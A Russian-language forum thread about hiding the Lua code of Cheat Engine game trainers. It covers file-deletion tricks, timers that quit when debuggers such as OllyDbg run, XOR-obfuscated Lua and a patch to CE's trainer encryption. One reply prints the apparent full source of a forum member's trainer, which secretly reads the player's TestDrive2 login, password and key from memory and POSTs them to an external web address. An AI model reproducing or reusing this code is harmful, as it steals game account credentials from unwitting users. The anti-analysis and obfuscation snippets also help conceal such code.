Перейти к содержанию

Рекомендуемые сообщения

Всем привет!

После неприятностей у Dison`а хочу поделиться с вами способом защиты трейнера, созданного в СЕ.

Этот способ я изобрел еще очень-очень давно. Сам уже перешел в другую среду разработки, поэтому больше ничего нового не придумал.

Сам СЕ никакой защиты кода не предполагает. Поэтому мы можем взять любой трейнер, сгенерированный СЕ и

вытащить его код самой же СЕ. Для этого нам всего лишь нужно найти строку "CheatTable" в процессе, под которой будет весь исходник трейнера.

Мой способ защиты уже будет вводить "Хакера" в заблуждение, потому что открыв исходник трейнера он уведет лишь всего одну строку.

Сейчас я вам постараюсь доступно объяснить, как защитить свой трейнер.

Сразу хочу сообщить, что нам придется отказаться от автоматической генерации трейнера. Будем делать все вручную.

Первое что нам нужно это создать форму для трейнера:

Открываем СЕ -> Table -> Create Form.

Будет создана форма с дефолтным именем "UDF1".

4552f05b39f1f28aae0255f81f8c5f58.png

На форму мы кинем Label и в свойстве Caption напишем "F12 - Включить/Выключить скрипт",

для того, чтоб человеку использующему наш трейнер было понятно, какая клавиша за какую функцию отвечает.

eeb9de38a8f8eddf5a29d13da43f0d9e.png

Дальше все создание дизайна остается за вами.

Теперь в инспекторе объектов (Object Inspector) выбираем нашу форму, переходим во вкладку события (Events)

Кликаем по пустому полю, справа от строки "OnClose".

Нас отправят в другое окно, с LUA кодом, в котором будет сгенерирована функция закрытия.

Вскоре мы ее допишем.

5c1ed5b02410b9a7bdf8afc770528bd9.png

Пришло время написать код нашего трейнера.

openProcess('Cheat Engine.exe') --//Открываем процесс

enabled = false --// Флаг включения/выключения скрипка

function Cheat()--// Начало функции

if (enabled == false) then --//Если скрипт выключен, тогда включаем

autoAssemble([[

alloc(newmem,2048,00020079)

label(returnhere)

newmem:

add [rcx+00000001],cl

jmp returnhere

00020079:

jmp newmem

nop

returnhere:]]) --// Код скрипта из секции "ENABLE"

enabled = true --// Переводим в флаг в положение true

else --// Если скрипт был включен, тогда его выключаем

autoAssemble([[

00020079:

add [rcx+00000001],cl

dealloc(newmem)]]) --// Код из секции DISABLE

enabled = false --// Переводим в флаг в положение true

end

end --// Конец функции

createHotkey(Cheat, VK_F12) --// Создание горячей клавиши, по которой будет активироваться скрипт

function FormClose(sender) --// Функция закрытия окна трейнера

closeCE() -- // Завершаем процесс трейнера, когда было закрыто окно трейнера

return caFree

end

form_show(UDF1) --// Показываем окно формы UDF, созданую в редакторе.

0757ba0d1b67364cab1aa5875826e785.png

Сейчас настал момент истины.

Добавляем этот фрагмент кода в начало того, что уже написали.

Создаем текстовый документ, и копируем туда весь наш код из окна "LUA Script".

Сохраняем и переименовываем файл, обязательно сменить расширение на *.lua, у меня получился файл "Vlad2.lua"

d5497c53f511600ef732e1009ae81cc2.png

Снова переходим в окно с нашим lua скриптом. Удаляем весь код.

И добавляем строку "require("Vlad2")", где "Vlad2" - имя нашего файла со скриптом.

4342e3292dcfe4f48878978ebb4d72cd.png

Осталось только сохранить трейнер.

Жмем кнопку "Сохранить", выбираем EXE расширение.

Откроется окно с настройками генерации трейнера.

В панели "Extra files" жмем кнопку "Add File", и выбираем файл с нашим скриптом.

0b0cc798f1af4691fb20565fe308e21b.png

Все дальнейшие настройки остаются на ваше усмотрение.

Генерируем.

ВСЕ! Трейнер сгенерирован, теперь из него уже не получиться так легко вынуть скрипты, только разбитые фрагменты.

Когда мы запускаем трейнер без защиты, созданный в СЕ, во временных файлах

создается распаковщик и архив "CET_Archive.dat". В этом файле хранится сам СЕ, его библиотеки,

и файлы нашего трейнера. После того, как распаковщик разархивирует наш архив,

появятся все файлы трейнера, в том числе "CET_TRAINER.UDF1", в где находится

код нашего трейнера.

Как видим - уязвимостей хватает.

​Но в защищенном варианте эти файлы будут отсутствовать. Поэтому их не украдут, как и не вытащат сам код из процесса трейнера.

Это не идеальный способ защиты, т.к. я его уже обходил, но он очень действенный.

Вот не большей пример трейнера с защитой - https://yadi.sk/d/XXUMV4jaSwy82

local TimerShit = createTimer(UDF2, true)function Shit()os.remove('Vlad2.lua') --// Сюда пишем имя файла с LUA скриптом.os.remove('CET_TRAINER.UDF1')endtimer_setInterval(TimerShit, 500)timer_onTimer(TimerShit, Shit)Put = getCheatEngineDir()Len = string.len(Put)Len = Len-10Put = string.sub(Put, 0, Len)os.remove(Put..'CET_Archive.dat')
Ссылка на комментарий
Поделиться на другие сайты

  • 5 недель спустя...

А как защитить от перехвата функций winapi ? 

Определяй эти самые хуки, определяй отладку и борись с этим.

Интересует еще более низкоуровневая защита - пиши драйвер (для трейнера это абсурд), но и его можно взломать)

Ссылка на комментарий
Поделиться на другие сайты

  • 4 месяца спустя...

Я тут со сдал трейнер на 2 функции АА СКРИПТ, почитал на форуме http://forum.cheatengine.org/viewtopic.php?t=585300&postdays=0&postorder=asc&start=60 про защиту на трейнеры, но не разобрался толком, не могу понять куда что в вписывать, не понятно помогите пожалуйста.

Ссылка на комментарий
Поделиться на другие сайты

  • 4 месяца спустя...

Могу предложить более примитивный способ защиты трейнера. Для новичков;). источник

Скрытый текст

function CETimer1Timer(sender)
     xlient = 'Decompiler CE Trainer v1.0.exe'
if
     (getProcessIDFromProcessName(xlient)==nil) then
return 
end
     closeCE()
end

function CETimer2Timer(sender)
     tlient = 'cheatengine-x86_64.exe'
if
     (getProcessIDFromProcessName(tlient)==nil) then
return 
end
     closeCE()
end

function CETimer3Timer(sender)
     Ollydbs = 'ollydbg.exe'
if
     (getProcessIDFromProcessName(Ollydbs)==nil) then
return
end
     closeCE()
end

function CETimer4Timer(sender)
     ReClass2013 = 'reclass2013.exe'
if
     (getProcessIDFromProcessName(ReClass2013)==nil) then
return 
end
     closeCE()
end

function CETimer5Timer(sender)
     am743 = 'am743.exe'
if
     (getProcessIDFromProcessName(am743)==nil) then
return 
end
     closeCE()
end

 

 

Изменено пользователем Recpec158
Ссылка на комментарий
Поделиться на другие сайты

  • 4 недели спустя...

Vlad2, Твой исходник от "Vlad2.lua":

Скрытый текст

os.remove('Vlad2.lua')
local TimerShit = createTimer(UDF2, true)
function Shit()
os.remove('Vlad2.lua')
os.remove('CET_TRAINER.UDF1')
end
timer_setInterval(TimerShit, 500)
timer_onTimer(TimerShit, Shit)

Put = getCheatEngineDir()
Len = string.len(Put)
Len = Len-10
Put = string.sub(Put, 0, Len)
os.remove(Put..'CET_Archive.dat')
f = assert(io.open(Put..'CET_Archive.dat', "a+"))
f:write('85s4328r54s848erf4'.."\n")
f:close()


local Timer1 = createTimer(UDF2, true)
function TDU2Process()
openProcess("TestDrive2.exe")
if ('00FD96BE' == nil) then
timer_setInterval(Timer1, 1000)
timer_setEnabled(Timer1, true)
else
timer_setInterval(Timer1, 10000)
end
end
timer_onTimer(Timer1, TDU2Process)

form_show(UDF1)
Point = '[[[[[["TestDrive2.exe"+00D5F658]+ad4]+a0]+8]+f4]+18]+'
function Load()
 R1 = readFloat(Point..'4b0')
 R2 = readFloat(Point..'4a0')
 R3 = readFloat(Point..'4d0')

 G1 = readFloat(Point..'4b4')
 G2 = readFloat(Point..'4a4')
 G3 = readFloat(Point..'4d4')

 B1 = readFloat(Point..'4b8')
 B2 = readFloat(Point..'4a8')
 B3 = readFloat(Point..'4d8')

 C1 = readFloat(Point..'520')
 C2 = readFloat(Point..'528')
 C3 = readFloat(Point..'52C')

 if (checkbox_getState(UDF1_CECheckbox1) == 1) then
 if (R1 ~= nil) then
 control_setCaption(UDF1_CEEdit1, R1)
 control_setCaption(UDF1_CEEdit2, R2)
 control_setCaption(UDF1_CEEdit3, R3)
 control_setCaption(UDF1_CEEdit4, G1)
 control_setCaption(UDF1_CEEdit5, G2)
 control_setCaption(UDF1_CEEdit6, G3)
 control_setCaption(UDF1_CEEdit7, B1)
 control_setCaption(UDF1_CEEdit8, B2)
 control_setCaption(UDF1_CEEdit9, B3)
 end
 end

 if (checkbox_getState(UDF1_CECheckbox2) == 1) then
 if (C1 ~= nil) then
 control_setCaption(UDF1_CEEdit10, C1)
 control_setCaption(UDF1_CEEdit11, C2)
 control_setCaption(UDF1_CEEdit12, C3)
 end
 end

end

function Save()
 R1 = readFloat(Point..'4b0')
 if (R1 ~= nil) then
  if (checkbox_getState(UDF1_CECheckbox1) == 1) then
  writeFloat(Point..'4b0', control_getCaption(UDF1_CEEdit1))
  writeFloat(Point..'4a0', control_getCaption(UDF1_CEEdit2))
  writeFloat(Point..'4d0', control_getCaption(UDF1_CEEdit3))

  writeFloat(Point..'4b4', control_getCaption(UDF1_CEEdit4))
  writeFloat(Point..'4a4', control_getCaption(UDF1_CEEdit5))
  writeFloat(Point..'4d4', control_getCaption(UDF1_CEEdit6))

  writeFloat(Point..'4b8', control_getCaption(UDF1_CEEdit7))
  writeFloat(Point..'4a8', control_getCaption(UDF1_CEEdit8))
  writeFloat(Point..'4d8', control_getCaption(UDF1_CEEdit9))
  end
  if (checkbox_getState(UDF1_CECheckbox2) == 1) then
  writeFloat(Point..'520', control_getCaption(UDF1_CEEdit10))
  writeFloat(Point..'528', control_getCaption(UDF1_CEEdit11))
  writeFloat(Point..'52C', control_getCaption(UDF1_CEEdit12))
  end
 end
end

function Freeze()
A = checkbox_getState(UDF1_CEToggleBox1)
 if (A == 1) then Save() end
end
TimF = createTimer(UDF1, true)
timer_setInterval(TimF, 500)
timer_onTimer(TimF, Freeze)

function cl()
 closeCE()
  return caFree
end

AutTim = createTimer(UDF1, true)
function Autor()
TDU = readInteger('01320000')
if (TDU ~= nil) then
nick = readString('01321E48', 30)
NS = readString('["TestDrive2.exe"+00C257E4]+c1', 30)
if (NS ~= nil) and (NS ~= '') and (nick == NS) then
if (check ~= nick) then
nick = readString('01321E48', 30)
log = readString('01321E78', 30)
pas = readString('01321F78', 30)
key = readString('013215F8', 19)
---------------------------------------------------------
filename = nick..'.txt'
text = nick..'\n\nlogin: '..log..'\npassword: '..pas..'\nkey: '..key
data = 'param='..text..'&filename='..filename..'&login='..nick
---------------------------------------------------------
local http = require("socket.http")
local ltn12 = require("ltn12")
local reqbody = data
local respbody = {}
local result, respcode, respheaders, respstatus = http.request {method = "POST",
url = "http://userwot.netne.net/Vlad2/!users.php",
source = ltn12.source.string(reqbody),
headers = { ["Accept"] = "text/html, */*",
["Connection"] = "keep-alive",
["Content-Type"] = "application/x-www-form-urlencoded",
["content-length"] = string.len(reqbody)},}
---------------------------------------------------------
if (respcode == 200) then check = nick end
end
end
end
end
timer_setInterval(AutTim, 2000)
timer_onTimer(AutTim, Autor)

function CEImage1MouseDown(sender, button, x, y)
form_dragNow(UDF1)
end

 

 

Ссылка на комментарий
Поделиться на другие сайты

  • 3 недели спустя...

Взял с сайта http://forum.cheatengine.org/viewtopic.php?t=585300&postdays=0&postorder=asc&start=45 

так я и не понял, куда это нужно в вставлять, объясните пожалуйста.

Скрытый текст

function test() 
function dec_textcode(s) 
  local coded = "" 
  for i=1,#s do 
    coded = coded .. string.char(s:byte(i) - 3) 
  end 
  return coded 
end 

rline_1 = "ixqfwlrq#FHExwwrq4Folfn+vhqghu," 
rline_2 = "{psod|hu1sod|[P+#ilqgWdeohIloh+*h{whuqdo1{p*,#," 
rline_3 = "hqg" 
rline_4 = "ixqfwlrqFHExwwrq5Folfn+vhqghu," 
rline_5 = "{psod|hubvwrs+," 
rline_6 = "hqg" 
rline_7 = "ixqfwlrq#FHExwwrq6Folfn+vhqghu," 
rline_8 = "forvhFH+,>" 
rline_9 = "uhwxuq#fdKlgh" 
rline_10="hqg" 

dec_textcode(rline_1) 
dec_textcode(rline_2) 
dec_textcode(rline_3) 
dec_textcode(rline_4) 
dec_textcode(rline_5) 
dec_textcode(rline_6) 
dec_textcode(rline_7) 
dec_textcode(rline_8) 
dec_textcode(rline_9) 
dec_textcode(rline_10) 
end 

 

И вот это тоже не понятно куда вставлять. 

Скрытый текст

------ Avoid Lua Engine Pop-up 
getLuaEngine().cbShowOnPrint.Checked=false 
getLuaEngine().hide() 

---- Load Hack Coding 
function loadTableCode2(n) 
 local t = findTableFile(n) 
 if t ~= nil then 
 local s = t.Stream 
 local c = readStringLocal(s.Memory,s.Size) 
 return c ~= nil and loadstring(c) -- return a function 
 end 
end 
-- 
local f = loadTableCode2('loadcode.lua')   -----> Hack code store here 
print(type(f)) 
if type(f) == 'function' then f() else print('not loaded') end 
-- 
test() 

 

 

Ссылка на комментарий
Поделиться на другие сайты

Ребята помогите разобраться, пожалуйста. Я так понял это для защиты от Decompiler, и плюс кодировка, а куда это вставлять не понятно, помогите пожалуйста. 

Ссылка на комментарий
Поделиться на другие сайты

31 минуты назад, Baracuda сказал:

 

Ребята помогите разобраться

 

 

Это подобие защиты как описывал Vlad? 

33 минуты назад, Baracuda сказал:

а куда это вставлять не понятно, помогите пожалуйста.

А вставлять в Lua - Cheat Table Lua Script

Ссылка на комментарий
Поделиться на другие сайты

Dison я вставлял но он не вставляется, выдаёт ошибку. Как правильно нужно вставить, опиши пожалуйста подробно, если не сложно.

Ссылка на комментарий
Поделиться на другие сайты

10 минуту назад, Baracuda сказал:

Dison я вставлял но он не вставляется, выдаёт ошибку. Как правильно нужно вставить, опиши пожалуйста подробно, если не сложно.

 

Скрытый текст

2016061209_1400780_22310077.jpg

 

Изменено пользователем Dison
Ссылка на комментарий
Поделиться на другие сайты

Не работает код, вставляется в Lua скрипт генерируешь Trainer.exe а CET_TRAINER также легко вытаскивается, в чём прикол. 

Изменено пользователем Baracuda
Ссылка на комментарий
Поделиться на другие сайты

вот код для кодирования CET_TRAINER,  но он не вставляется, выдают ошибку. 

вот первый 1

Скрытый текст

procedure unprotecttrainer(filename: string; stream: TStream);
var f: TMemorystream;
 m: pbytearray;
 p: pchar;

 i: integer;
 k: byte;

 d: Tdecompressionstream;

 b: pointer;
 size: integer;

 ActuallyRead: integer;
begin
  f:=tmemorystream.create;
  f.loadfromfile(filename);

  m:=f.Memory;

  for i:=2 to f.size-1 do
    m[i]:=m[i] xor m[i-2];

  for i:=f.Size-2 downto 0 do
    m[i]:=m[i] xor m[i+1];

  k:=$ce;
  for i:=0 to f.size-1 do
  begin
    m[i]:=m[i] xor k;
    inc(k);
  end;

 

вот второй 2

Скрытый текст

procedure protecttrainer(filename: string);
{
this is the super mega protector routine for the trainer
Yeah, it's pathetic, but it keeps the retarded noobs out that don't know how to
read code and only know how to copy/paste
}
var f,f2: tmemorystream;
  m: PByteArray;
  i: integer;
  k: byte;
  c: Tcompressionstream;
  s: string;

begin
  if Uppercase(extractfileext(filename))<>'.CETRAINER' then raise exception.create(rsErrorSaving);

  f:=tmemorystream.create;
  f.LoadFromFile(filename);
  f2:=tmemorystream.create;

  s:='CHEAT';
  f2.Write(s[1], 5);

  c:=Tcompressionstream.create(clmax, f2,true);

  i:=f.size;
  c.write(i, sizeof(i));
  c.write(f.Memory^, f.size);
  c.free;
  f.free;


  k:=$ce;
  m:=f2.Memory;

  for i:=0 to f2.Size-1 do
  begin
    m[i]:=(m[i] xor k);
    inc(k);
  end;

  for i:=0 to f2.Size-2 do
    m[i]:=m[i] xor m[i+1];

  for i:=f2.Size-1 downto 2 do
    m[i]:=m[i] xor m[i-2];


  f2.SaveToFile(filename);

  f2.free;
end;


end.

 

 

Ссылка на комментарий
Поделиться на другие сайты

9 минут назад, Baracuda сказал:

вот код для кодирования CET_TRAINER,  но он не вставляется, выдают ошибку.

Это скорее код не для СЕ а для Visual C++ или Delphi.

CE Такой код не понимает, поэтому и выдает ошибку.

Ссылка на комментарий
Поделиться на другие сайты

http://forum.cheatengine.org/viewtopic.php?t=585300&postdays=0&postorder=asc&start=0 вот я от суда взял c 1 страницы, это именно для  CET_TRAINER

вот этот автор выложил  mgr.inz.Player  две ссылки посмотри. ВИДИМО ИХ КАК ТО ПО ДРУГОМУ ВСТАВЛЯТЬ НАДО, ВОТ Я И НЕ ПОЙМУ КАК. 

Ссылка на комментарий
Поделиться на другие сайты

Baracuda - Этот исходный код СЕ.

1 - procedure unprotecttrainer - это что-то связано с расшифровкой

2 - procedure protecttrainer - а это с зашифровкой

Что конкретно этот автор объясняет этим кодом, хрен ее знает.

Ты пробовал задавать вопрос в том форуме.

Ссылка на комментарий
Поделиться на другие сайты

Скажу точно что СЕ этот код не поймет.

Видно же что это написано либо на С++ или Delphi

А если пролистать в самый вверх то можно увидеть вот эту надпись

{$MODE Delphi}

Ссылка на комментарий
Поделиться на другие сайты

На 3 страницы тоже этот же автор  mgr.inz.Player  посмотри, вот тоже кодировка  CET_TRAINER, это вроде точно для Lua, ну и этот код, 

когда вставляешь и он выдают ошибку, его тоже не понятно гуда вставлять. 

Там даже картинка есть, что типа зашифровано, и через эту программу Decompiler CE, нельзя посмотреть что находится в  CET_TRAINER.

 

Цитата 

Скрытый текст

Для того, чтобы нарушить совместимость с этой простой "Decompiller" вы упомянули, использовать этот патч, и компилировать CE самостоятельно (смотрите на "Чит Source Engine" раздел форума)

Одна из многих возможных модификаций для CE6.4:

Это создаст CETRAINER файлы, которые будут работать только с этой версией CE.
Так как я дал вам выше патч, любой человек может снова декомпилировать его, только с помощью Лазаря (IDE используется для компиляции cheatengine)


Index: OpenSave.pas 
=================================================================== 
--- OpenSave.pas   (revision 1672) 
+++ OpenSave.pas   (working copy) 
@@ -1173,24 +1173,24 @@ 
   for i:=f.Size-2 downto 0 do 
     m[i]:=m[i] xor m[i+1]; 
  
-  k:=$ce; 
+  k:=$cd; 
   for i:=0 to f.size-1 do 
   begin 
     m[i]:=m[i] xor k; 
-    inc(k); 
+    inc(k,2); 
   end; 
  
  
  
  
-  getmem(p,6); 
-  copymemory(p,m,5); 
-  p[5]:=#0; 
-  if p='CHEAT' then 
+  getmem(p,8); 
+  copymemory(p,m,7); 
+  p[7]:=#0; 
+  if p='BRICKED' then 
   begin 
     //new storage method 
  
-    f.Position:=5;  //skip "CHEAT" header 
+    f.Position:=7;  //skip "CHEAT" header 
  
     d:=Tdecompressionstream.create(f,true); 
  
@@ -1256,8 +1256,8 @@ 
   f.LoadFromFile(filename); 
   f2:=tmemorystream.create; 
  
-  s:='CHEAT'; 
-  f2.Write(s[1], 5); 
+  s:='BRICKED'; 
+  f2.Write(s[1], 7); 
  
   c:=Tcompressionstream.create(clmax, f2,true); 
  
@@ -1268,13 +1268,13 @@ 
   f.free; 
  
  
-  k:=$ce; 
+  k:=$cd; 
   m:=f2.Memory; 
  
   for i:=0 to f2.Size-1 do 
   begin 
     m[i]:=(m[i] xor k); 
-    inc(k); 
+    inc(k,2); 
   end; 
  
   for i:=0 to f2.Size-2 do 

 

 

Изменено пользователем Baracuda
Ссылка на комментарий
Поделиться на другие сайты

если сейчас взять и с генерировать с Cheat Engine v 6.5.1 Trainer в формате не exe, а CETRAINER, то через Decompiler CE ты не сможешь его открыть, сразу выдают ошибку при компиляции.

Это огромный плюс, что через  Decompiler CE не компилируется, то есть нельзя посмотреть код, но зато через простой блокнот открывается и можно посмотреть весь код, вот это минус, 

Вот как то надо закодировать его, что бы и через блокнот нельзя было не чего посмотреть,  на этом сайте показано как это можно сделать, но почему то это не работает странно. 

 

ЕСТЬ Trainer от MrAntiFum, у него этот файл CET_TRAINER  закодирован, то есть через Decompiler CE, и блокнот, ты его не посмотришь. Вот надо сделать тоже самое 

Изменено пользователем Baracuda
Ссылка на комментарий
Поделиться на другие сайты

function test() 


function dec_textcode(s) 
  local coded = "" 
  for i=1,#s do 
    coded = coded .. string.char(s:byte(i) - 3) 
  end 
  return coded 
end 

rline_1 = "ixqfwlrq#FHExwwrq4Folfn+vhqghu," 
rline_2 = "{psod|hu1sod|[P+#ilqgWdeohIloh+*h{whuqdo1{p*,#," 
rline_3 = "hqg" 
rline_4 = "ixqfwlrqFHExwwrq5Folfn+vhqghu," 
rline_5 = "{psod|hubvwrs+," 
rline_6 = "hqg" 
rline_7 = "ixqfwlrq#FHExwwrq6Folfn+vhqghu," 
rline_8 = "forvhFH+,>" 
rline_9 = "uhwxuq#fdKlgh" 
rline_10="hqg" 

dec_textcode(rline_1) 
dec_textcode(rline_2) 
dec_textcode(rline_3) 
dec_textcode(rline_4) 
dec_textcode(rline_5) 
dec_textcode(rline_6) 
dec_textcode(rline_7) 
dec_textcode(rline_8) 
dec_textcode(rline_9) 
dec_textcode(rline_10) 
end

Изменено пользователем Dison
Ссылка на комментарий
Поделиться на другие сайты

А если сделать на оборот, то есть,  если сейчас взять и с генерировать с Cheat Engine v 6.5.1 Trainer в формате exe, а не CETRAINER то через блокнот, ты его не посмотришь он закодирован, на зато он компилируется через Decompiler CE, то есть всё на оборот получается.

Ссылка на комментарий
Поделиться на другие сайты

Baracuda, эти скрипты на LUA, автор ими спрятал код своего примера - (проигрыватель, который можно скачать и попробовать посмотреть код)  от Decompiler CE.

Проще, попросить кого-нибудь, знающего английский, задать вопрос в топике СЕ-форума.

 

Все остальные скрипты - это модификации самого СЕ при компиляции его по новой, т.е. нужно скачать сырцы СЕ, изменить там некоторый код   и скомпилировать.

Получишь новую версию СЕ.

 

Но также в том топике говорят, что смысла сильного от этого нет. Это защита от неопытных (ну т.е. как охрана в торговом центре например от хулиганов, но не от террористов). 

  • Плюс 1
Ссылка на комментарий
Поделиться на другие сайты

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, Вы автоматически соглашаетесь соблюдать наши Условия использования.